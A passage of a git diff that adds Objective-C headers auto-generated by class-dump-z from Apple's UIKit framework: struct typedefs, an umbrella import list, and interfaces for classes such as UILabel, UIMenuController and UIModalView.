float pathMajorRadius; + CGPoint pathLocation; + void* pathWindow; +} XXStruct__FxRIA; + +typedef struct { + int _field1; + unsigned short _field2; + unsigned short _field3; + float _field4; + float _field5; + float _field6; + float _field7; + float _field8; + float _field9; + unsigned char _field10; + unsigned char _field11; + XXStruct__FxRIA _field12[0]; +} XXStruct_$jUSvD; + +typedef struct CGColor* CGColorRef; + +typedef struct __GSHeartbeat* GSHeartbeatRef; + +typedef struct UIEdgeInsets { + float top; + float left; + float bottom; + float right; +} UIEdgeInsets; + +typedef struct { + float _field1; + float _field2; + float _field3; + float _field4; + float _field5; +} XXStruct_iyXfGC; + +typedef struct CGShading* CGShadingRef; + +typedef struct CGContext* CGContextRef; + +typedef struct { + CGRect left; + CGRect middle; + CGRect right; +} XXStruct_UUz0SD; + +typedef struct { + int _field1; + int _field2; + int _field3; + int _field4; + BOOL _field5; + BOOL _field6; +} XXStruct_7U_TLD; + +typedef struct { + BOOL _field1; + BOOL _field2; + BOOL _field3; + float _field4; + float _field5; + int _field6; + CGRect _field7; + CGRect _field8; +} XXStruct_TF$i3B; + +typedef struct { + XXStruct_UUz0SD top; + XXStruct_UUz0SD middle; + XXStruct_UUz0SD bottom; +} XXStruct_4cr1oD; + +typedef struct { + BOOL _field1; + union { + struct { + id _field1; + id _field2; + } _field1; + GSEventRef _field2; + } _field2; +} XXStruct_CKAdxD; + +@class UIView, UIImage; +typedef union { + UIImage* image; + UIView* view; +} XXUnion_a01swB; + +typedef struct { + float _field1; + float _field2; + float _field3; +} XXStruct_NwkmQC; + + +typedef struct USet USet; + +typedef struct { + CGRect _field1; + CGRect _field2; + CGRect _field3; + CGRect _field4; + CGRect _field5; + id _field6; + id _field7; + unsigned _field8; + unsigned _field9; + unsigned _field10; + id _field11; +} XXStruct_K4qLnD; + +@class NSString; +typedef struct { + CGRect _field1; + CGRect _field2; + CGRect _field3; + CGRect _field4; + CGRect _field5; + NSString* _field6; + NSString* _field7; + unsigned _field8; + unsigned _field9; + unsigned _field10; + id _field11; +} XXStruct_MMLx8B; + +typedef struct _WKClassInfo* WKClassInfoRef; + +typedef struct _WKObject { + unsigned referenceCount; + WKClassInfoRef classInfo; +} WKObject; + +typedef struct WKView* WKViewRef; + +typedef struct TiledSurface TiledSurface; + +@class WAKWindow; +typedef struct WKWindow { + WKObject _field1; + WAKWindow* _field2; + CGRect _field3; + WKViewRef _field4; + WKViewRef _field5; + TiledSurface* _field6; + unsigned _field7 : 1; + unsigned _field8 : 1; +} WKWindow; + +typedef struct { + double width; + double height; +} XXStruct_meWoWB; + + +typedef struct CGGradient* CGGradientRef; + +typedef struct { + float amount; + int unit; +} XXStruct_tp$7nC; + +typedef struct { + id _field1; + unsigned _field2; +} XXStruct_HeigOC; + +typedef struct UINibDecoderObjectEntry { + unsigned _field1; + unsigned _field2; +} UINibDecoderObjectEntry; + +typedef struct UINibDecoderValue { + unsigned _field1; + unsigned _field2; +} UINibDecoderValue; + +typedef struct UINibArchiveTableInfo { + unsigned count; + unsigned offset; +} UINibArchiveTableInfo; + +typedef struct UINibDecoderHeader { + unsigned char type[10]; + unsigned formatVersion; + unsigned coderVersion; + UINibArchiveTableInfo objects; + UINibArchiveTableInfo keys; + UINibArchiveTableInfo values; + UINibArchiveTableInfo classes; +} UINibDecoderHeader; + +typedef struct UINibDecoderRecursiveState { + int objectID; + int nextGenericKey; + unsigned nextValueSearchIndex; + BOOL replaced; +} UINibDecoderRecursiveState; + +typedef struct UIKeyToKeyIDCache { + NSString* previousKey[64]; + void* previousKeyID[64]; + BOOL previousKeyExists[64]; + int hashHits; + int hashHotMisses; + int hashColdMisses; +} UIKeyToKeyIDCache; + +typedef struct UIKeyAndScopeToValueCache { + unsigned previousScope; + unsigned previousKey; + UINibDecoderValue* previousValue; +} UIKeyAndScopeToValueCache; + +typedef struct UIStringIDTableBucket { + NSString* _field1; + unsigned _field2; + void* _field3; +} UIStringIDTableBucket; + +typedef struct __IOSurface* IOSurfaceRef; + +typedef struct { + id _field1; + id _field2; + id _field3; + id _field4; +} XXStruct_Xx1ZfA; + + +typedef struct { + int _field1; + int _field2; + id _field3; + id _field4; + float _field5; + int _field6; + SEL _field7; + id _field8; +} XXStruct_b4LybD; + +typedef struct UIKeyboardAnimationGeometry { + CGPoint _field1; + CGPoint _field2; + CGRect _field3; + CGAffineTransform _field4; +} UIKeyboardAnimationGeometry; + + diff --git a/igor/headers/dumpedUIKit/UIKit.h b/igor/headers/dumpedUIKit/UIKit.h new file mode 100644 index 0000000..14f373a --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKit.h @@ -0,0 +1,473 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIVideoEditorController.h" +#import "UITextFieldBackgroundView.h" +#import "UIGestureRecognizer.h" +#import "UIPreferencesTextTableCell.h" +#import "UIAlertSheetTextField.h" +#import "UISwitch.h" +#import "_UISwitchSlider.h" +#import "UIKBKeyCacheEntry.h" +#import "_UIDateLabelCache.h" +#import "UIKBKeyView.h" +#import "UIHighlightView.h" +#import "UIPreferencesDeleteTableCell.h" +#import "UINavigationBarBackground.h" +#import "UIMovieScrubberTrackFillView.h" +#import "UITabBarBadgeBackground.h" +#import "UIFingerInfo.h" +#import "_UIWindowLayer.h" +#import "UISelectedItemPrivate.h" +#import "UIUpdateItem.h" +#import "UIKeyboard.h" +#import "UIKeyboardLanguageIndicator.h" +#import "UINavigationTransitionView.h" +#import "UICompletionTablePrivate.h" +#import "UITableCellFadeAnimation.h" +#import "UIAccentedKeyCapStringView.h" +#import "UIFont.h" +#import "UIAccelerometer.h" +#import "KBCandidateCell.h" +#import "UILabel.h" +#import "FormToABBinder.h" +#import "UIKeyboardEmojiScrollView.h" +#import "UINibDecoder.h" +#import "UITextTapRecognizer.h" +#import "ABHelper.h" +#import "UIScroller.h" +#import "UIKBAttribute.h" +#import "UIScreen.h" +#import "UITableViewCellReorderControl.h" +#import "UITabBarButton.h" +#import "UITextView.h" +#import "UITableViewCellUnhighlightedState.h" +#import "UIKeyboardCandidateInline.h" +#import "UIOldSliderFillView.h" +#import "UIImage.h" +#import "UITableViewController.h" +#import "UITextEffectsWindow.h" +#import "_UITableReorderingSupport.h" +#import "UIGestureAnimation.h" +#import "UIAlertTextView.h" +#import "WordInfo.h" +#import "UITableView.h" +#import "UIImageView.h" +#import "_UITableViewCellGrabber.h" +#import "UITextFieldDelegate.h" +#import "UIDeprecatedDelayedControlTargetAction.h" +#import "_UIAlertOverlayWindow.h" +#import "UIKeyboardCandidateShadowView.h" +#import "UIFormAssistant.h" +#import "WebThreadSafeUndoManager.h" +#import "UIRemoteView.h" +#import "UISliderContent.h" +#import "UITile.h" +#import "UITableViewCellContentMirror.h" +#import "UIOuterShadowView.h" +#import "UICompositeImageView.h" +#import "UIKeyboardReplacementImageView.h" +#import "UICalloutBar.h" +#import "UIMoreNavigationController.h" +#import "UIKBKeyplaneView.h" +#import "UIThreePartImageView.h" +#import "UISelectionIndicatorView.h" +#import "UINibStringIDTable.h" +#import "UIScrollViewScrollAnimation.h" +#import "UIPreferencesControlTableCell.h" +#import "UIRemoveControlTextButton.h" +#import "UIKeyboardLayoutQWERTY.h" +#import "UIModalView.h" +#import "UIButtonBarCustomizeView.h" +#import "UIDefaultKeyboardInput.h" +#import "_UIGroupTableViewCellBackgroundImageKey.h" +#import "UIViewAnimationContext.h" +#import "UIScrollerIndicator.h" +#import "UIKeyboardEmojiView.h" +#import "UICachedDeviceWhiteColor.h" +#import "UIPageControl.h" +#import "UIWindowController.h" +#import "UIKeyboardLayoutQWERTZ.h" +#import "UIKeyboardEmojiCategory.h" +#import "UIThreePartButton.h" +#import "UIDelayedControlTargetAction.h" +#import "UIKeyboardEmojiImages.h" +#import "UIMenuController.h" +#import "UIRemoveControl.h" +#import "UITableViewCellEditControl.h" +#import "UITextField.h" +#import "WebViewReachabilityObserver.h" +#import "UIEvent.h" +#import "WebFormDelegate.h" +#import "UIAccessibilityElement.h" +#import "UIGlassButton.h" +#import "UITableViewScrollTestParameters.h" +#import "UIShadowView.h" +#import "UIScrubberTimeView.h" +#import "UIRemoteApplication.h" +#import "UISearchBarBackground.h" +#import "UIKeyboardCandidateSafetyNetVie.h" +#import "UICalloutBarButton.h" +#import "UINavigationItemView.h" +#import "UITiledView.h" +#import "NSMutableString.h" +#import "UIKBKeyboard.h" +#import "UITwoSidedAlertController.h" +#import "UITableViewControllerKeyboardSupport.h" +#import "UIMoreListCellLayoutManager.h" +#import "_UIStretchableImage.h" +#import "UIDragger.h" +#import "UIToolbarButtonBadge.h" +#import "UIKBShape.h" +#import "UIKeyboardKeyView.h" +#import "UIButtonBarBadgeBackground.h" +#import "UIRuntimeOutletConnection.h" +#import "UITableColumn.h" +#import "UIDimmingView.h" +#import "UISelectionTapRecognizer.h" +#import "UITabBarItemProxy.h" +#import "UICachedDeviceRGBColor.h" +#import "UINavigationController.h" +#import "UIMovieScrubberTrackOverlayView.h" +#import "_UIPrefTableCellPiece.h" +#import "UIKeyboardLayoutRomaji.h" +#import "UIGradientBar.h" +#import "UISectionHeaderCell.h" +#import "_UIOldSliderAnimation.h" +#import "UIAnimator.h" +#import "UIKBKeylistReference.h" +#import "BrowserDocumentController.h" +#import "UITextInteractionAssistant.h" +#import "UIRemoveControlMultiSelectButton.h" +#import "UIViewControllerWrapperView.h" +#import "UIKeyboardLayoutStar.h" +#import "NSCoder.h" +#import "UIAutocorrectShadowView.h" +#import "UICompositeImageElement.h" +#import "UIBarButtonItemProxy.h" +#import "UITextMagnifier.h" +#import "UIKBKeyset.h" +#import "_UITableViewDeleteAnimationSupport.h" +#import "UIGroupDeletionItem.h" +#import "UIPlacardButton.h" +#import "UIKeyboardInput.h" +#import "UIViewController.h" +#import "UIKeyboardLayoutAZERTY.h" +#import "UITapGestureRecognizer.h" +#import "UIPickerTableCell.h" +#import "UIRuntimeMultiOutletConnection.h" +#import "UIUndoAlertView.h" +#import "UITapAndAHalfRecognizer.h" +#import "UISearchField.h" +#import "UIKeyboardEmoji.h" +#import "UITextMagnifierRanged.h" +#import "UITextFieldRoundedRectBackgroundView.h" +#import "UIViewControllerAction.h" +#import "UIDatePickerView.h" +#import "UIActionSheetDelegate.h" +#import "_UITableCellTransientData.h" +#import "InlineCandidateCell.h" +#import "UIPeripheralTransition.h" +#import "UIKeyboardLayoutQWERTZLandscape.h" +#import "UIScrollerScrollAnimation.h" +#import "NSValue.h" +#import "UIFloatArray.h" +#import "UIGradient.h" +#import "UIFormAssistantDelegate.h" +#import "UIFormPeripheral.h" +#import "_UITableViewUpdateSupport.h" +#import "UIDefaultWebViewInteractionDelegate.h" +#import "NSMutableArray.h" +#import "UIFieldEditor.h" +#import "UIKeyboardCandidateInlineScroller.h" +#import "_UIPickerViewWrappingTableCell.h" +#import "UITableViewCellEditingData.h" +#import "_UITableDeleteAnimationSupport.h" +#import "UIKeyboardPartialLayoutView.h" +#import "UIKeyboardEmojiPage.h" +#import "UIOnePartImageView.h" +#import "UIButtonLabel.h" +#import "WebView.h" +#import "UIKeyboardEmojiCategoryController.h" +#import "UIDatePicker.h" +#import "_UIPickerViewTopFrame.h" +#import "UITabBarItem.h" +#import "UIKeyboardLayoutRoman.h" +#import "UIPlaceholderColor.h" +#import "UIKeyboardLayoutQZERTY.h" +#import "_UIImageViewExtendedStorage.h" +#import "UIVariableDelayLoupeGesture.h" +#import "UITableHeaderFooterView.h" +#import "UIPhraseBoundaryGestureRecognizer.h" +#import "UIPickerViewDelegate.h" +#import "UIScrollAnimation.h" +#import "UITouch.h" +#import "UIClippedImageView.h" +#import "UIGestureInfo.h" +#import "UITextFieldAtomBackgroundView.h" +#import "UIAutoscrollContainer.h" +#import "UISectionRowData.h" +#import "WebHTMLRepresentation.h" +#import "UITableViewCellLayoutManager.h" +#import "UICompletionTable.h" +#import "UISearchResultsTableView.h" +#import "EmojiScrollView.h" +#import "UISwipeGestureRecognizer.h" +#import "UIKBKeylist.h" +#import "NSIndexPath.h" +#import "_UITableViewCellRemoveControl.h" +#import "UITextMagnifierRangedRenderer.h" +#import "UIAnimation.h" +#import "UIRoundedRectButton.h" +#import "UICoverFlowLayer.h" +#import "UIButton.h" +#import "UIImageBuffer.h" +#import "UIDateLabel.h" +#import "AddressBookMatch.h" +#import "UIViewAnimationState.h" +#import "_UISwappableImageViewAnimationProxy.h" +#import "UISearchFieldBackgroundView.h" +#import "UINavigationItem.h" +#import "UIBarButtonItem.h" +#import "UISystemAlertRequest.h" +#import "FormAutoFiller.h" +#import "UITextContentView.h" +#import "UITransformAnimation.h" +#import "UITableViewCellSelectedBackground.h" +#import "UIAutoscroll.h" +#import "UINib.h" +#import "UITextSelectingContent.h" +#import "UIKBKeylayout.h" +#import "UITextMagnifierCaret.h" +#import "UICheckeredPatternView.h" +#import "UIMovieScrubberTrackView.h" +#import "UIDragRecognizer.h" +#import "_UIAlertManager.h" +#import "UIScrollView.h" +#import "UITabBar.h" +#import "UIImagePickerController.h" +#import "UITabBarDelegate.h" +#import "UITextInputTraits.h" +#import "NSURL.h" +#import "UIScrollViewDelayedTouchesBeganGestureRecognizer.h" +#import "UISimpleTableCell.h" +#import "Romakana.h" +#import "UIKeyboardLayoutAZERTYLandscape.h" +#import "UIValueButton.h" +#import "_UITableViewSeparatorView.h" +#import "UISelectionGrabberDot.h" +#import "UITabBarSelectionIndicatorView.h" +#import "_UILabeledPushButton.h" +#import "UINavigationItemButtonView.h" +#import "UIDelayedAction.h" +#import "UIAutocorrectStringView.h" +#import "UITableViewCell.h" +#import "UIPickerViewDataSource.h" +#import "UIKeyboardLayoutEmoji.h" +#import "UIToolbarButton.h" +#import "EmojiPageControl.h" +#import "UIToolbar.h" +#import "UIActionSheet.h" +#import "CandWord.h" +#import "UIRemoteSheetInfo.h" +#import "UIViewAnimation.h" +#import "UIKeyboardInputManager.h" +#import "UIMotionEvent.h" +#import "UIViewHeartbeat.h" +#import "UIKBAttributeList.h" +#import "UISectionIndex.h" +#import "UIKeyboardSpaceKeyView.h" +#import "UIAlertView.h" +#import "_UITableCellGrabber.h" +#import "_UITableViewReorderingSupport.h" +#import "CALayer.h" +#import "UIMovieScrubberTrackMaskView.h" +#import "UIRemoteWindow.h" +#import "UIInsertControl.h" +#import "UIRemoveControlTextFrameAnimation.h" +#import "UICalloutBarOverlay.h" +#import "UIHardware.h" +#import "UIPanGestureRecognizer.h" +#import "UIProgressHUD.h" +#import "UIPreferencesTableCellRemoveControl.h" +#import "UITextSelectionView.h" +#import "UITableCellRemoveControl.h" +#import "UITabBarCustomizeView.h" +#import "UIKeyboardPeripheral.h" +#import "UIKeyboardEmojiRecentsController.h" +#import "_UIPickerWheelView.h" +#import "UITableViewDelegate.h" +#import "UIKeyboardLayoutQWERTYLandscape.h" +#import "UIImageAndTextTableCell.h" +#import "UnchargedButton.h" +#import "UITableViewDataSource.h" +#import "UIAccentedCharacterView.h" +#import "UIActivityIndicatorView.h" +#import "UICalloutView.h" +#import "UITabBarButtonBadge.h" +#import "UITableCellFlashDeselectAnimation.h" +#import "UIKeyboardLayoutProtocol.h" +#import "UITabBarController.h" +#import "UITextSelectingContainer.h" +#import "UITouchData.h" +#import "UIKeyboardCandidateInlineTextLabelView.h" +#import "_UIPickerViewSelectionBar.h" +#import "UISnapshotModalViewController.h" +#import "UISectionTable.h" +#import "UIKeyboardReturnKeyView.h" +#import "UITextMagnifierTimeWeightedPoint.h" +#import "UITabBarSwappableImageView.h" +#import "UIOldSliderControl.h" +#import "UIProxyObject.h" +#import "UIBarItem.h" +#import "UIITunesStoreURLResolver.h" +#import "UITextMagnifierCaretRenderer.h" +#import "UIScrubberControl.h" +#import "UIMovieScrubberTrackViewDataSource.h" +#import "UIPasscodeField.h" +#import "UITextLabel.h" +#import "UIMovieScrubber.h" +#import "UIKeyboardEmojiController.h" +#import "UIGroupTableViewCellDrawnBackground.h" +#import "UISegmentedControl.h" +#import "UIKeyboardSublayoutEMail.h" +#import "UIButtonContent.h" +#import "UIApplication.h" +#import "UIAcceleration.h" +#import "UITableViewRowData.h" +#import "UITable.h" +#import "UITableViewCellLayoutManagerValue2.h" +#import "UIAutocorrectInlinePrompt.h" +#import "UITableViewCellLayoutManagerValue1.h" +#import "UILongPressGestureRecognizer.h" +#import "UIToolbarTextButton.h" +#import "UIProgressView.h" +#import "UIDateTableCell.h" +#import "UIKeyboardCandidateList.h" +#import "_UIGroupItem.h" +#import "UITableViewIndex.h" +#import "UIThreadSafeNode.h" +#import "UIAutocorrectImageView.h" +#import "UIPickerScrollAnimation.h" +#import "UITextMagnifierRenderer.h" +#import "UIInternalEvent.h" +#import "UIClassSwapper.h" +#import "UIContinuation.h" +#import "UITableViewCellLayoutManagerSubtitle.h" +#import "UIMovieScrubberTrackInnerShadowView.h" +#import "UITransitionView.h" +#import "UITouchDiagnosticsLayer.h" +#import "NSCoding.h" +#import "UIKeyboardEmojiFactory.h" +#import "UISearchBar.h" +#import "UIAutocorrectTextView.h" +#import "NSBundle.h" +#import "UIScrollViewDelegate.h" +#import "_UITableViewCellDeleteConfirmationControl.h" +#import "UIResponder.h" +#import "NSObject.h" +#import "UIKeyboardGenericKeyView.h" +#import "WebFrame.h" +#import "NSDictionary.h" +#import "UIPreferencesTable.h" +#import "UIInlineCandidateTextView.h" +#import "UISlider.h" +#import "UIPickerView.h" +#import "UIKeyboardEmojiCategoriesControl.h" +#import "CandWordString.h" +#import "UIWeekMonthDayTableCell.h" +#import "UIMovieScrubberTrackViewDelegate.h" +#import "UITableSeparatorView.h" +#import "UITextFieldBorderView.h" +#import "UISelectionGrabber.h" +#import "UISectionList.h" +#import "UIPushButton.h" +#import "UITextRangeView.h" +#import "UIControlTargetAction.h" +#import "UITableCountView.h" +#import "UIViewTapInfo.h" +#import "UIGroupInsertionItem.h" +#import "NSArray.h" +#import "UISearchBarTextField.h" +#import "UIKBKey.h" +#import "UIKeyboardLayoutQZERTYLandscape.h" +#import "UIPasteboard.h" +#import "UIAlertSheetTableCell.h" +#import "UIProgressIndicator.h" +#import "UIModalViewDelegate.h" +#import "UIAlphaAnimation.h" +#import "UIImageNibPlaceholder.h" +#import "NSCopying.h" +#import "UIRuntimeEventConnection.h" +#import "UICGColor.h" +#import "UITextEffectsOrdering.h" +#import "UI9PartImageView.h" +#import "UIPickerTable.h" +#import "UICFFont.h" +#import "UIKBGeometry.h" +#import "UITouchesEvent.h" +#import "UIRotationAnimation.h" +#import "UITableCellDisclosureView.h" +#import "UILocalizedIndexedCollation.h" +#import "UISearchDisplayController.h" +#import "UICustomObject.h" +#import "UIMovieScrubberEditingView.h" +#import "UIWindow.h" +#import "UIKeyboardSublayout.h" +#import "UIKeyboardLayout.h" +#import "WhiteView.h" +#import "UIKBKeyInterval.h" +#import "UIInformalDelegate.h" +#import "_UIAlertSheetTable.h" +#import "UITableCell.h" +#import "UITableViewCountView.h" +#import "UIFrameAnimation.h" +#import "UITableViewCellDeleteConfirmationControl.h" +#import "UIView.h" +#import "UIGestureDelayedTouch.h" +#import "UITextInputTraits_Private.h" +#import "UIOldSliderButton.h" +#import "UIPinchGestureRecognizer.h" +#import "UIRuntimeConnection.h" +#import "UIControl.h" +#import "UIDeviceWhiteColor.h" +#import "UIKeyboardImpl.h" +#import "UIToolbarCustomizeViewLegacy.h" +#import "_UIAlertStackWatcher.h" +#import "UIRemoveControlMinusButton.h" +#import "UIFontChooser.h" +#import "UISegment.h" +#import "_UITableViewCellOldEditingData.h" +#import "UISegmentLabel.h" +#import "UISwappableImageView.h" +#import "UIPreferencesTableCell.h" +#import "UITexturedButton.h" +#import "UIFlicker.h" +#import "_UIOnePartImageView.h" +#import "UITabBarCustomizeViewLegacy.h" +#import "UIColor.h" +#import "UIBezierPath.h" +#import "UISelectionPeripheral.h" +#import "NSString.h" +#import "UIGroupTableViewCellBackground.h" +#import "UIMoreListController.h" +#import "UITouchTapInfo.h" +#import "UIMovieScrubberThumbnailView.h" +#import "UIProgressBar.h" +#import "UIDeviceRGBColor.h" +#import "UINavBarPrompt.h" +#import "UIKeyboardLayoutRomajiLandscape.h" +#import "UITextFieldLabel.h" +#import "UIToolbarCustomizeView.h" +#import "UIRuntimeAccessibilityConfiguration.h" +#import "UINavigationButton.h" +#import "UIDevice.h" +#import "UINavigationBar.h" +#import "UIKBKeyplane.h" +#import "UITableViewCellLayoutManagerEditable1.h" +#import "UILayoutContainerView.h" diff --git a/igor/headers/dumpedUIKit/UILabel.h b/igor/headers/dumpedUIKit/UILabel.h new file mode 100644 index 0000000..276e71a --- /dev/null +++ b/igor/headers/dumpedUIKit/UILabel.h @@ -0,0 +1,99 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIView.h" +#import "UIKit-Structs.h" +#import "UILabel.h" +#import "NSCoding.h" + +@class UIColor, UIFont, NSString; + +@interface UILabel : UIView { +@private + CGSize _size; + NSString* _text; + UIColor* _color; + UIColor* _highlightedColor; + UIColor* _shadowColor; + UIFont* _font; + CGSize _shadowOffset; + float _minFontSize; + float _actualFontSize; + int _numberOfLines; + float _lastLineBaseline; + int _lineSpacing; + struct { + unsigned lineBreakMode : 3; + unsigned highlighted : 1; + unsigned autosizeTextToFit : 1; + unsigned baselineAdjustment : 2; + unsigned alignment : 2; + unsigned enabled : 1; + unsigned wordRoundingEnabled : 1; + unsigned explicitAlignment : 1; + } _textLabelFlags; +} +@property(assign, nonatomic, getter=isUserInteractionEnabled) BOOL userInteractionEnabled; +@property(assign, nonatomic) int lineSpacing; +@property(readonly, assign, nonatomic) float _lastLineBaseline; +@property(assign, nonatomic) int baselineAdjustment; +@property(assign, nonatomic) float minimumFontSize; +@property(assign, nonatomic) BOOL adjustsFontSizeToFitWidth; +@property(assign, nonatomic) int numberOfLines; +@property(assign, nonatomic, getter=isEnabled) BOOL enabled; +@property(assign, nonatomic, getter=isHighlighted) BOOL highlighted; +@property(retain, nonatomic) UIColor* highlightedTextColor; +@property(assign, nonatomic) int lineBreakMode; +@property(assign, nonatomic) int textAlignment; +@property(assign, nonatomic) CGSize shadowOffset; +@property(retain, nonatomic) UIColor* shadowColor; +@property(retain, nonatomic) UIColor* textColor; +@property(retain, nonatomic) UIFont* font; +@property(copy, nonatomic) NSString* text; ++(id)defaultFont; +-(void)_commonInit; +-(id)initWithFrame:(CGRect)frame; +-(void)setFrame:(CGRect)frame; +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +-(void)dealloc; +-(CGSize)textSize; +-(CGRect)textRectForBounds:(CGRect)bounds limitedToNumberOfLines:(int)lines; +-(void)_invalidateTextSize; +-(void)setActualFontSize:(float)size; +-(float)actualFontSize; +-(id)_disabledFontColor; +-(id)currentTextColor; +-(CGSize)sizeThatFits:(CGSize)fits; +-(void)drawTextInRect:(CGRect)rect; +-(void)_drawTextInRect:(CGRect)rect baselineCalculationOnly:(BOOL)only; +-(void)drawRect:(CGRect)rect; +-(void)_setWordRoundingEnabled:(BOOL)enabled; +@end + +@interface UILabel (UILabelDeprecatedMethods) +-(void)setColor:(id)color; +-(id)color; +-(void)setCentersHorizontally:(BOOL)horizontally; +-(BOOL)centersHorizontally; +-(CGSize)textSizeForWidth:(float)width; +-(CGRect)textRectForBounds:(CGRect)bounds; +-(void)drawContentsInRect:(CGRect)rect; +-(void)setRawSize:(CGSize)size; +-(CGSize)rawSize; +@end + +@interface UILabel (SyntheticEvents) +-(id)_scriptingInfo; +@end + +@interface UILabel (UIKitAccessibilityInterfaceBuilderSupport) +-(BOOL)isAccessibilityElementByDefault; +-(BOOL)isElementAccessibilityExposedToInterfaceBuilder; +-(unsigned long long)defaultAccessibilityTraits; +@end + diff --git a/igor/headers/dumpedUIKit/UILayoutContainerView.h b/igor/headers/dumpedUIKit/UILayoutContainerView.h new file mode 100644 index 0000000..b7619f4 --- /dev/null +++ b/igor/headers/dumpedUIKit/UILayoutContainerView.h @@ -0,0 +1,24 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "NSCoding.h" +#import "UIView.h" + + +__attribute__((visibility("hidden"))) +@interface UILayoutContainerView : UIView { +@private + id _delegate; +} +@property(assign, nonatomic) id delegate; +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +-(void)setFrame:(CGRect)frame; +-(void)layoutSubviews; +@end + diff --git a/igor/headers/dumpedUIKit/UILocalizedIndexedCollation.h b/igor/headers/dumpedUIKit/UILocalizedIndexedCollation.h new file mode 100644 index 0000000..e791fbe --- /dev/null +++ b/igor/headers/dumpedUIKit/UILocalizedIndexedCollation.h @@ -0,0 +1,36 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import +#import "UILocalizedIndexedCollation.h" + +@class NSArray, NSString, NSLocale; + +@interface UILocalizedIndexedCollation : NSObject { +@private + NSLocale* _locale; + NSArray* _sectionTitles; + NSArray* _sectionStartStrings; + NSArray* _sectionIndexTitles; + NSArray* _sectionIndexMapping; + NSString* _transform; +} +@property(readonly, assign, nonatomic) NSArray* sectionIndexTitles; +@property(readonly, assign, nonatomic) NSArray* sectionTitles; ++(id)currentCollation; +-(void)dealloc; +-(int)sectionForSectionIndexTitleAtIndex:(int)index; +-(int)sectionForObject:(id)object collationStringSelector:(SEL)selector; +-(id)sortedArrayFromArray:(id)array collationStringSelector:(SEL)selector; +@end + +@interface UILocalizedIndexedCollation (UIKitInternal) ++(id)collationWithDictionary:(id)dictionary; +-(id)initWithDictionary:(id)dictionary; +-(id)transformedCollationStringForString:(id)string; +@end + diff --git a/igor/headers/dumpedUIKit/UILongPressGestureRecognizer.h b/igor/headers/dumpedUIKit/UILongPressGestureRecognizer.h new file mode 100644 index 0000000..1de2740 --- /dev/null +++ b/igor/headers/dumpedUIKit/UILongPressGestureRecognizer.h @@ -0,0 +1,45 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIGestureRecognizer.h" + +@class NSMutableSet, NSArray, UIDelayedAction; +@protocol UILongPressGestureRecognizerDelegate; + +@interface UILongPressGestureRecognizer : UIGestureRecognizer { + NSArray* _touches; + NSMutableSet* _activeTouches; + BOOL _gotTouchEnd; + BOOL _gotTooMany; + int _numberOfFingers; + double _delay; + float _allowableMovement; + CGPoint _startPointScreen; + UIDelayedAction* _enoughTimeElapsed; + id _delegate; +} +@property(retain, nonatomic) NSArray* touches; +@property(assign, nonatomic) int numberOfFingers; +@property(assign, nonatomic) double delay; +@property(assign, nonatomic) float allowableMovement; +@property(assign, nonatomic) id delegate; +@property(readonly, assign, nonatomic) CGPoint centroid; +@property(readonly, assign, nonatomic) CGPoint startPoint; +-(id)initWithTarget:(id)target action:(SEL)action; +-(void)dealloc; +-(void)reset; +-(void)enoughTimeElapsed:(id)elapsed; +-(void)clearTimer; +-(void)startTimer; +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)touchesMoved:(id)moved withEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(void)touchesCancelled:(id)cancelled withEvent:(id)event; +-(CGPoint)centroidScreen; +@end + diff --git a/igor/headers/dumpedUIKit/UIMenuController.h b/igor/headers/dumpedUIKit/UIMenuController.h new file mode 100644 index 0000000..46a9780 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIMenuController.h @@ -0,0 +1,31 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIMenuController.h" +#import + + +@interface UIMenuController : NSObject { +@private + CGRect _targetRect; +} +@property(readonly, assign, nonatomic) CGRect menuFrame; +@property(assign, nonatomic, getter=isMenuVisible) BOOL menuVisible; ++(id)sharedMenuController; +-(id)init; +-(void)setMenuVisible:(BOOL)visible animated:(BOOL)animated; +-(void)setTargetRect:(CGRect)rect inView:(id)view; +-(void)update; +@end + +@interface UIMenuController (UIMenuControllerStatic) +-(BOOL)_update:(BOOL)update; +-(void)calloutBarWillStartAnimation:(id)calloutBar; +-(void)calloutBarDidFinishAnimation:(id)calloutBar; +@end + diff --git a/igor/headers/dumpedUIKit/UIModalView.h b/igor/headers/dumpedUIKit/UIModalView.h new file mode 100644 index 0000000..115f89b --- /dev/null +++ b/igor/headers/dumpedUIKit/UIModalView.h @@ -0,0 +1,214 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIModalView.h" +#import "UITextFieldDelegate.h" +#import "UIView.h" + +@class NSString, UILabel, NSMutableArray, UIWindow, UIToolbar; +@protocol UIModalViewDelegate; + +@interface UIModalView : UIView { +@private + id _delegate; + UILabel* _titleLabel; + UILabel* _subtitleLabel; + UILabel* _bodyTextLabel; + UILabel* _taglineTextLabel; + float _startX; + float _startY; + id _context; + int _cancelButton; + int 